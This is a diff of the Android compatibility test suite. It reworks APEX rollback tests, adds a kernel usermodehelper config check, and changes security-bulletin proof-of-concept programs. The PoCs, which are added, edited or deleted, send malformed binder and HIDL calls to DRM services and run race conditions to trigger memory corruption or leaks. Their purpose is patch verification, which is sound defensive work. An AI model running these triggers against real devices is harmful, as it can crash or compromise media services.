getDevice().reboot();
- run("testApexOnlyCommitRollback");
+ run("testApexOnlyStagedRollback_Phase3");
getDevice().reboot();
- run("testApexOnlyConfirmRollback");
+ run("testApexOnlyStagedRollback_Phase4");
}
/**
- * Tests staged rollbacks involving only apex.
+ * Tests staged rollbacks to system version involving only apex.
+ */
+ @Test
+ public void testApexOnlySystemVersionStagedRollback() throws Exception {
+ assumeTrue("Device does not support updating APEX", isApexUpdateSupported());
+
+ run("testApexOnlySystemVersionStagedRollback_Phase1");
+ getDevice().reboot();
+ run("testApexOnlySystemVersionStagedRollback_Phase2");
+ getDevice().reboot();
+ run("testApexOnlySystemVersionStagedRollback_Phase3");
+ }
+
+ /**
+ * Tests staged rollbacks involving apex and apk.
*/
@Test
public void testApexAndApkStagedRollback() throws Exception {
assumeTrue("Device does not support updating APEX", isApexUpdateSupported());
- run("testApexAndApkInstallFirstVersion");
+ run("testApexAndApkStagedRollback_Phase1");
getDevice().reboot();
- run("testApexAndApkEnableRollback");
+ run("testApexAndApkStagedRollback_Phase2");
getDevice().reboot();
- run("testApexAndApkCommitRollback");
+ run("testApexAndApkStagedRollback_Phase3");
getDevice().reboot();
- run("testApexAndApkConfirmRollback");
+ run("testApexAndApkStagedRollback_Phase4");
}
/**
@@ -157,12 +218,34 @@
public void testApexRollbackExpiration() throws Exception {
assumeTrue("Device does not support updating APEX", isApexUpdateSupported());
- uninstallShimApexIfNecessary();
- run("testApexRollbackExpirationEnableRollback");
+ run("testApexRollbackExpiration_Phase1");
getDevice().reboot();
- run("testApexRollbackExpirationUpdateApex");
+ run("testApexRollbackExpiration_Phase2");
getDevice().reboot();
- run("testApexRollbackExpirationConfirmExpiration");
+ run("testApexRollbackExpiration_Phase3");
+ }
+
+ /**
+ * Tests staged rollbacks involving apex with rotated keys.
+ */
+ @Test
+ public void testApexKeyRotationStagedRollback() throws Exception {
+ assumeTrue("Device does not support updating APEX", isApexUpdateSupported());
+
+ run("testApexKeyRotationStagedRollback_Phase1");
+ getDevice().reboot();
+ run("testApexKeyRotationStagedRollback_Phase2");
+ getDevice().reboot();
+ run("testApexKeyRotationStagedRollback_Phase3");
+ }
+
+ /**
+ * Tests installer B can't rollback a package installed by A.
+ */
+ @Test
+ public void testApkRollbackByAnotherInstaller() throws Exception {
+ run("testApkRollbackByAnotherInstaller_Phase1");
+ run2("testApkRollbackByAnotherInstaller_Phase2");
}
}
diff --git a/hostsidetests/sample/AndroidTest.xml b/hostsidetests/sample/AndroidTest.xml
index 0b49219..80189da 100644
--- a/hostsidetests/sample/AndroidTest.xml
+++ b/hostsidetests/sample/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="misc" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSampleDeviceApp.apk" />
diff --git a/hostsidetests/sample/OWNERS b/hostsidetests/sample/OWNERS
new file mode 100644
index 0000000..84828b2
--- /dev/null
+++ b/hostsidetests/sample/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 346961
+include /tests/sample/OWNERS
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index ac79c0e..0f03245 100755
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsSecurityHostTestCases.jar" />
diff --git a/hostsidetests/security/OWNERS b/hostsidetests/security/OWNERS
new file mode 100644
index 0000000..94522e3
--- /dev/null
+++ b/hostsidetests/security/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36824
+include /tests/tests/security/OWNERS
diff --git a/hostsidetests/security/src/android/cts/security/KernelConfigTest.java b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
index 0a5c733..325f68c 100644
--- a/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
@@ -31,6 +31,7 @@
import java.io.InputStreamReader;
import java.lang.String;
import java.util.stream.Collectors;
+import java.util.Set;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
@@ -249,4 +250,61 @@
configSet.contains("CONFIG_PAGE_TABLE_ISOLATION=y"));
}
}
+
+ /**
+ * Test that the kernel enables static usermodehelper and sets
+ * the path to a whitelisted path.
+ *
+ * @throws Exception
+ */
+ @CddTest(requirement="9.7")
+ public void testConfigDisableUsermodehelper() throws Exception {
+ if (PropertyUtil.getFirstApiLevel(mDevice) < 30) {
+ return;
+ }
+
+ final String ENABLE_CONFIG = "CONFIG_STATIC_USERMODEHELPER=y";
+ final String PATH_CONFIG = "CONFIG_STATIC_USERMODEHELPER_PATH=";
+
+ final Set<String> ALLOWED_PATH_PREFIXES = new HashSet<String>();
+ ALLOWED_PATH_PREFIXES.add("/vendor/");
+ ALLOWED_PATH_PREFIXES.add("/system/");
+
+ assertTrue("Linux kernel must enable static usermodehelper: " + ENABLE_CONFIG,
+ configSet.contains(ENABLE_CONFIG));
+
+ String configPath = null;
+
+ for (String option : configSet) {
+ if (option.startsWith(PATH_CONFIG)) {
+ configPath = option;
+ }
+ }
+
+ int index = configPath.indexOf('=');
+ String path = configPath.substring(index+1);
+
+ assertTrue("Linux kernel must specify an absolute path for static usermodehelper path",
+ configPath.contains("..") == false);
+
+ boolean pathIsWhitelisted = false;
+
+ for (String allowedPath : ALLOWED_PATH_PREFIXES) {
+ if (path.startsWith(allowedPath)) {
+ pathIsWhitelisted = true;
+ break;
+ }
+ }
+
+ // Specifying no path, which disables usermodehelper, is also
+ // valid.
+ pathIsWhitelisted |= path.isEmpty();
+
+ String whitelistedPathPrefixExample = "'" +
+ String.join("', '", ALLOWED_PATH_PREFIXES) + "'";
+
+ assertTrue("Linux kernel must specify a whitelisted static usermodehelper path, "
+ + "and it must be empty or start with one of the following "
+ + "prefixes: " + whitelistedPathPrefixExample, pathIsWhitelisted);
+ }
}
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index cdb350c..2e24e47 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -42,11 +42,8 @@
<option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
<option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
<option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
-
- <!--__________________-->
- <!-- Bulletin 2016-02 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-0811->/data/local/tmp/CVE-2016-0811" />
+ <option name="push" value="Bug-137282168->/data/local/tmp/Bug-137282168" />
+ <option name="push" value="Bug-137878930->/data/local/tmp/Bug-137878930" />
<!--__________________-->
<!-- Bulletin 2016-04 -->
diff --git a/hostsidetests/securitybulletin/OWNERS b/hostsidetests/securitybulletin/OWNERS
new file mode 100644
index 0000000..ca82a6a
--- /dev/null
+++ b/hostsidetests/securitybulletin/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 36824
+mspector@google.com
+samschumacher@google.com
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
index 83227af..137100b 100755
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
@@ -46,7 +46,7 @@
// Write the body
switch(msg.header.type) {
- case InputMessage::TYPE_KEY: {
+ case InputMessage::Type::KEY: {
// uint32_t seq
outMsg->body.key.seq = msg.body.key.seq;
// nsecs_t eventTime
@@ -73,7 +73,7 @@
outMsg->body.key.downTime = msg.body.key.downTime;
break;
}
- case InputMessage::TYPE_MOTION: {
+ case InputMessage::Type::MOTION: {
// uint32_t seq
outMsg->body.motion.seq = msg.body.motion.seq;
// nsecs_t eventTime
@@ -108,6 +108,10 @@
outMsg->body.motion.xPrecision = msg.body.motion.xPrecision;
// float yPrecision
outMsg->body.motion.yPrecision = msg.body.motion.yPrecision;
+ // float xCursorPosition
+ outMsg->body.motion.xCursorPosition = msg.body.motion.xCursorPosition;
+ // float yCursorPosition
+ outMsg->body.motion.yCursorPosition = msg.body.motion.yCursorPosition;
// uint32_t pointerCount
outMsg->body.motion.pointerCount = msg.body.motion.pointerCount;
//struct Pointer pointers[MAX_POINTERS]
@@ -127,24 +131,30 @@
}
break;
}
- case InputMessage::TYPE_FINISHED: {
+ case InputMessage::Type::FINISHED: {
outMsg->body.finished.seq = msg.body.finished.seq;
outMsg->body.finished.handled = msg.body.finished.handled;
break;
}
+ case InputMessage::Type::FOCUS: {
+ outMsg->body.focus.seq = msg.body.focus.seq;
+ outMsg->body.focus.hasFocus = msg.body.focus.hasFocus;
+ outMsg->body.focus.inTouchMode = msg.body.focus.inTouchMode;
+ break;
+ }
}
}
/**
* Return false if vulnerability is found for a given message type
*/
-static bool checkMessage(sp<InputChannel> server, sp<InputChannel> client, int type) {
+static bool checkMessage(sp<InputChannel> server, sp<InputChannel> client, InputMessage::Type type) {
InputMessage serverMsg;
// Set all potentially uninitialized bytes to 1, for easier comparison
memset(&serverMsg, 1, sizeof(serverMsg));
serverMsg.header.type = type;
- if (type == InputMessage::TYPE_MOTION) {
+ if (type == InputMessage::Type::MOTION) {
serverMsg.body.motion.pointerCount = MAX_POINTERS;
}
status_t result = server->sendMessage(&serverMsg);
@@ -198,8 +208,13 @@
return 0;
}
- int types[] = {InputMessage::TYPE_KEY, InputMessage::TYPE_MOTION, InputMessage::TYPE_FINISHED};
- for (int type : types) {
+ InputMessage::Type types[] = {
+ InputMessage::Type::KEY,
+ InputMessage::Type::MOTION,
+ InputMessage::Type::FINISHED,
+ InputMessage::Type::FOCUS,
+ };
+ for (InputMessage::Type type : types) {
bool success = checkMessage(server, client, type);
if (!success) {
ALOGE("Check message failed for type %i", type);
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137282168/Android.mk b/hostsidetests/securitybulletin/securityPatch/Bug-137282168/Android.mk
new file mode 100644
index 0000000..496f658
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-137282168/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := Bug-137282168
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_SHARED_LIBRARIES := \
+ libbinder \
+ liblog \
+ libutils
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror -Wno-unused-parameter -Wno-unused-variable
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137282168/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-137282168/poc.cpp
new file mode 100644
index 0000000..0f27c1c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-137282168/poc.cpp
@@ -0,0 +1,115 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IBinder.h>
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <utils/String16.h>
+#include <utils/String8.h>
+
+#include "../includes/common.h"
+
+using namespace android;
+
+static uint8_t pssh[28] = {
+ 0, 0, 0, 28, // Total Size
+ 'p', 's', 's', 'h', // PSSH
+ 1, 0, 0, 0, // Version
+ 0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02, // System ID
+ 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b,
+};
+
+static Vector<uint8_t> sessionId;
+
+static sp<IBinder> drmBinder;
+
+static void handler(int) {
+ ALOGI("Good, the test condition has been triggered");
+ exit(EXIT_VULNERABLE);
+}
+
+static void readVector(Parcel &reply, Vector<uint8_t> &vector) {
+ uint32_t size = reply.readInt32();
+ vector.insertAt((size_t)0, size);
+ reply.read(vector.editArray(), size);
+}
+
+static void writeVector(Parcel &data, Vector<uint8_t> const &vector) {
+ data.writeInt32(vector.size());
+ data.write(vector.array(), vector.size());
+}
+
+static void makeDrm() {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> mediaDrmBinder = sm->getService(String16("media.drm"));
+
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.media.IMediaDrmService"));
+ mediaDrmBinder->transact(2 /* MAKE_DRM */, data, &reply, 0);
+
+ drmBinder = reply.readStrongBinder();
+}
+
+static void createPlugin() {
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.drm.IDrm"));
+ uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+ 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
+ data.write(uuid, 16);
+ data.writeString8(String8("ele7enxxh"));
+
+ drmBinder->transact(3 /* CREATE_PLUGIN */, data, &reply, 0);
+}
+
+static void openSession() {
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.drm.IDrm"));
+ data.writeInt32(1 /* SW_SECURE_CRYPTO */); // level
+ drmBinder->transact(5 /* OPEN_SESSION */, data, &reply, 0);
+ readVector(reply, sessionId);
+}
+
+static void getKeyRequest() {
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.drm.IDrm"));
+ Vector<uint8_t> initData;
+ initData.appendArray(pssh, sizeof(pssh));
+ writeVector(data, sessionId);
+ writeVector(data, initData);
+ data.writeString8(
+ String8("video/mp4") /* kIsoBmffVideoMimeType */); // mimeType
+ data.writeInt32(1 /* KeyType::STREAMING */); // keyType
+ data.writeInt32(0); // count
+
+ drmBinder->transact(7 /*GET_KEY_REQUEST*/, data, &reply);
+}
+
+int main(void) {
+ signal(SIGABRT, handler);
+
+ makeDrm();
+
+ createPlugin();
+
+ openSession();
+
+ getKeyRequest();
+
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.mk b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.mk
new file mode 100644
index 0000000..e63f3c5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := Bug-137878930
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_SHARED_LIBRARIES := \
+ android.hardware.drm@1.0 \
+ android.hardware.drm@1.1 \
+ libhidlbase \
+ liblog \
+ libutils
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror -Wno-unused-parameter -Wno-unused-variable
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137878930/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/poc.cpp
new file mode 100644
index 0000000..f0bcae3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/poc.cpp
@@ -0,0 +1,213 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/hidl/manager/1.0/IServiceManager.h>
+#include <android/hardware/drm/1.1/IDrmFactory.h>
+#include <android/hardware/drm/1.1/IDrmPlugin.h>
+#include <pthread.h>
+#include <signal.h>
+#include <utils/Log.h>
+#include <utils/String8.h>
+#include <utils/Vector.h>
+
+#include "../includes/common.h"
+
+using ::android::sp;
+using ::android::String8;
+using ::android::Vector;
+using ::android::hardware::hidl_string;
+using ::android::hardware::hidl_vec;
+using ::android::hardware::drm::V1_0::IDrmFactory;
+using ::android::hardware::drm::V1_0::IDrmPlugin;
+using ::android::hardware::drm::V1_0::SecureStop;
+using ::android::hardware::drm::V1_0::Status;
+using ::android::hardware::drm::V1_1::SecurityLevel;
+using ::android::hidl::manager::V1_0::IServiceManager;
+
+static Vector<uint8_t> sessionId;
+
+static Vector<sp<IDrmFactory>> drmFactories;
+static sp<IDrmPlugin> drmPlugin;
+static sp<::android::hardware::drm::V1_1::IDrmPlugin> drmPluginV1_1;
+
+static void handler(int) {
+ ALOGI("Good, the test condition has been triggered");
+ exit(EXIT_VULNERABLE);
+}
+
+static const Vector<uint8_t> toVector(const hidl_vec<uint8_t> &vec) {
+ Vector<uint8_t> vector;
+ vector.appendArray(vec.data(), vec.size());
+ return *const_cast<const Vector<uint8_t> *>(&vector);
+}
+
+static hidl_vec<uint8_t> toHidlVec(const Vector<uint8_t> &vector) {
+ hidl_vec<uint8_t> vec;
+ vec.setToExternal(const_cast<uint8_t *>(vector.array()), vector.size());
+ return vec;
+}
+
+static void makeDrmFactories() {
+ sp<IServiceManager> serviceManager = IServiceManager::getService();
+ if (serviceManager == NULL) {
+ ALOGE("Failed to get service manager");
+ exit(-1);
+ }
+ serviceManager->listByInterface(
+ IDrmFactory::descriptor,
+ [](const hidl_vec<hidl_string> ®istered) {
+ for (const auto &instance : registered) {
+ auto factory = IDrmFactory::getService(instance);
+ if (factory != NULL) {
+ ALOGV("found drm@1.0 IDrmFactory %s", instance.c_str());
+ drmFactories.push_back(factory);
+ }
+ }
+ });
+
+ serviceManager->listByInterface(
+ ::android::hardware::drm::V1_1::IDrmFactory::descriptor,
+ [](const hidl_vec<hidl_string> ®istered) {
+ for (const auto &instance : registered) {
+ auto factory =
+ ::android::hardware::drm::V1_1::IDrmFactory::getService(instance);
+ if (factory != NULL) {
+ ALOGV("found drm@1.1 IDrmFactory %s", instance.c_str());
+ drmFactories.push_back(factory);
+ }
+ }
+ });
+
+ return;
+}
+
+static sp<IDrmPlugin> makeDrmPlugin(const sp<IDrmFactory> &factory,
+ const uint8_t uuid[16],
+ const String8 &appPackageName) {
+ sp<IDrmPlugin> plugin;
+ factory->createPlugin(uuid, appPackageName.string(),
+ [&](Status status, const sp<IDrmPlugin> &hPlugin) {
+ if (status != Status::OK) {
+ return;
+ }
+ plugin = hPlugin;
+ });
+ return plugin;
+}
+
+static void createPlugin() {
+ const uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+ 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
+ for (size_t i = 0; i < drmFactories.size(); i++) {
+ if (drmFactories[i]->isCryptoSchemeSupported(uuid)) {
+ drmPlugin = makeDrmPlugin(drmFactories[i], uuid, String8("ele7enxxh"));
+ if (drmPlugin != NULL)
+ drmPluginV1_1 =
+ ::android::hardware::drm::V1_1::IDrmPlugin::castFrom(drmPlugin);
+ }
+ }
+
+ if (drmPlugin == NULL) {
+ ALOGE("Failed to create drm plugin");
+ exit(-1);
+ }
+
+ return;
+}
+
+static void openSession() {
+ if (drmPluginV1_1)
+ drmPluginV1_1->openSession_1_1(
+ SecurityLevel::SW_SECURE_CRYPTO,
+ [&](Status status, const hidl_vec<uint8_t> &id) {
+ if (status != Status::OK) {
+ ALOGE("Failed to open session v1_1");
+ exit(-1);
+ }
+ sessionId = toVector(id);
+ });
+ else {
+ drmPlugin->openSession([&](Status status, const hidl_vec<uint8_t> &id) {
+ if (status != Status::OK) {
+ ALOGE("Failed to open session");
+ exit(-1);
+ }
+ sessionId = toVector(id);
+ });
+ }
+
+ return;
+}
+
+static void provideKeyResponse() {
+ const char key[] =
+ "{\"keys\":[{\"kty\":\"oct\""
+ "\"alg\":\"A128KW1\"}{\"kty\":\"oct\"\"alg\":\"A128KW2\""
+ "\"k\":\"SGVsbG8gRnJpZW5kIQ\"\"kid\":\"Y2xlYXJrZXlrZXlpZDAy\"}"
+ "{\"kty\":\"oct\"\"alg\":\"A128KW3\""
+ "\"kid\":\"Y2xlYXJrZXlrZXlpZDAz\"\"k\":\"R29vZCBkYXkh\"}]}";
+ Vector<uint8_t> response;
+ response.appendArray((const unsigned char *)key, strlen(key));
+ drmPlugin->provideKeyResponse(toHidlVec(sessionId), toHidlVec(response),
+ [&](Status status, const hidl_vec<uint8_t> &) {
+ if (status != Status::OK) {
+ ALOGE("Failed to provide key response");
+ exit(-1);
+ }
+ });
+
+ return;
+}
+
+static void *getSecureStops(void *) {
+ drmPlugin->getSecureStops([&](Status status, const hidl_vec<SecureStop> &) {
+ if (status != Status::OK) {
+ ALOGE("Failed to get secure stops");
+ exit(-1);
+ }
+ });
+
+ return NULL;
+}
+
+static void *removeAllSecureStops(void *) {
+ if (drmPluginV1_1 != NULL)
+ drmPluginV1_1->removeAllSecureStops();
+ else
+ drmPlugin->releaseAllSecureStops();
+
+ return NULL;
+}
+
+int main(void) {
+ signal(SIGABRT, handler);
+
+ makeDrmFactories();
+
+ createPlugin();
+
+ openSession();
+
+ size_t loop = 1000;
+ while (loop--) provideKeyResponse();
+
+ pthread_t threads[2];
+ pthread_create(&threads[0], NULL, getSecureStops, NULL);
+ pthread_create(&threads[1], NULL, removeAllSecureStops, NULL);
+ pthread_join(threads[0], NULL);
+ pthread_join(threads[1], NULL);
+
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
deleted file mode 100644
index 3da902d..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-0811
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_HEADER_LIBRARIES := \
- libmediadrm_headers \
-
-LOCAL_SHARED_LIBRARIES := \
- libbinder \
- libutils \
- libmedia \
- libmediadrm \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
deleted file mode 100644
index 19cee94..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
+++ /dev/null
@@ -1,73 +0,0 @@
-/**
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <binder/IServiceManager.h>
-#include <binder/MemoryDealer.h>
-#include <mediadrm/ICrypto.h>
-#include <mediadrm/IDrm.h>
-#include <mediadrm/IMediaDrmService.h>
-
-using namespace android;
-
-template <typename T>
-void mediaPoc(BpInterface<T> *sit) {
- Parcel data, reply;
- data.writeInterfaceToken(sit->getInterfaceDescriptor());
- data.writeInt32(0);
- data.writeInt32(0);
- static const uint8_t kDummy[16] = {0};
- data.write(kDummy, 16);
- data.write(kDummy, 16);
- const int wsize = 16 * 1024;
- sp<MemoryDealer> dealer = new MemoryDealer(wsize);
- sp<IMemory> memory = dealer->allocate(wsize);
- data.writeInt32(wsize);
- data.writeStrongBinder(IInterface::asBinder(memory));
- const int ss = 0x1;
- data.writeInt32(0xffffff00);
- data.writeInt32(ss);
- CryptoPlugin::SubSample samples[ss];
- for (int i = 0; i < ss; i++) {
- samples[i].mNumBytesOfEncryptedData = 0;
- samples[i].mNumBytesOfClearData = wsize;
- }
- data.write(samples, sizeof(CryptoPlugin::SubSample) * ss);
- char out[wsize] = {0};
- reply.read(out, wsize);
-}
-
-static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2,
- 0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E,
- 0x52, 0xE2, 0xFB, 0x4B};
-
-int main(void) {
- status_t st;
- sp<ICrypto> crypto =
- interface_cast<IMediaDrmService>(
- defaultServiceManager()->getService(String16("media.drm")))
- ->makeCrypto();
-
- sp<IDrm> drm = interface_cast<IMediaDrmService>(
- defaultServiceManager()->getService(String16("media.drm")))
- ->makeDrm();
-
- Vector<uint8_t> sess;
- st = drm->createPlugin(kClearKeyUUID, (String8) "test");
- st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess);
- st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size());
- BpInterface<ICrypto> *sit = static_cast<BpInterface<ICrypto> *>(crypto.get());
- mediaPoc(sit);
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/poc.cpp
index be714bf..7468060 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/poc.cpp
@@ -31,7 +31,6 @@
#include <media/IMediaPlayer.h>
#include <media/IMediaPlayerClient.h>
#include <media/IMediaPlayerService.h>
-#include <mediadrm/IDrm.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
@@ -51,11 +50,11 @@
data.writeInterfaceToken(iMediaPlayerService->getInterfaceDescriptor());
IMediaPlayerService::asBinder(iMediaPlayerService)
->transact(2 /*MAKE_DRM*/, data, &reply); //MAKE_DRM : 2 (N & O branch), 6 (M Branch)
- sp<IDrm> iDrm = interface_cast<IDrm>(reply.readStrongBinder());
+ sp<IBinder> iDrm(reply.readStrongBinder());
Parcel data2, reply2;
data2.writeInterfaceToken(iDrm->getInterfaceDescriptor());
- IDrm::asBinder(iDrm)->transact(7 /*GET_KEY_REQUEST*/, data2, &reply2);
+ iDrm->transact(7 /*GET_KEY_REQUEST*/, data2, &reply2);
reply2.readInt32();
reply2.readInt32();
unsigned int leaked = reply2.readInt32();
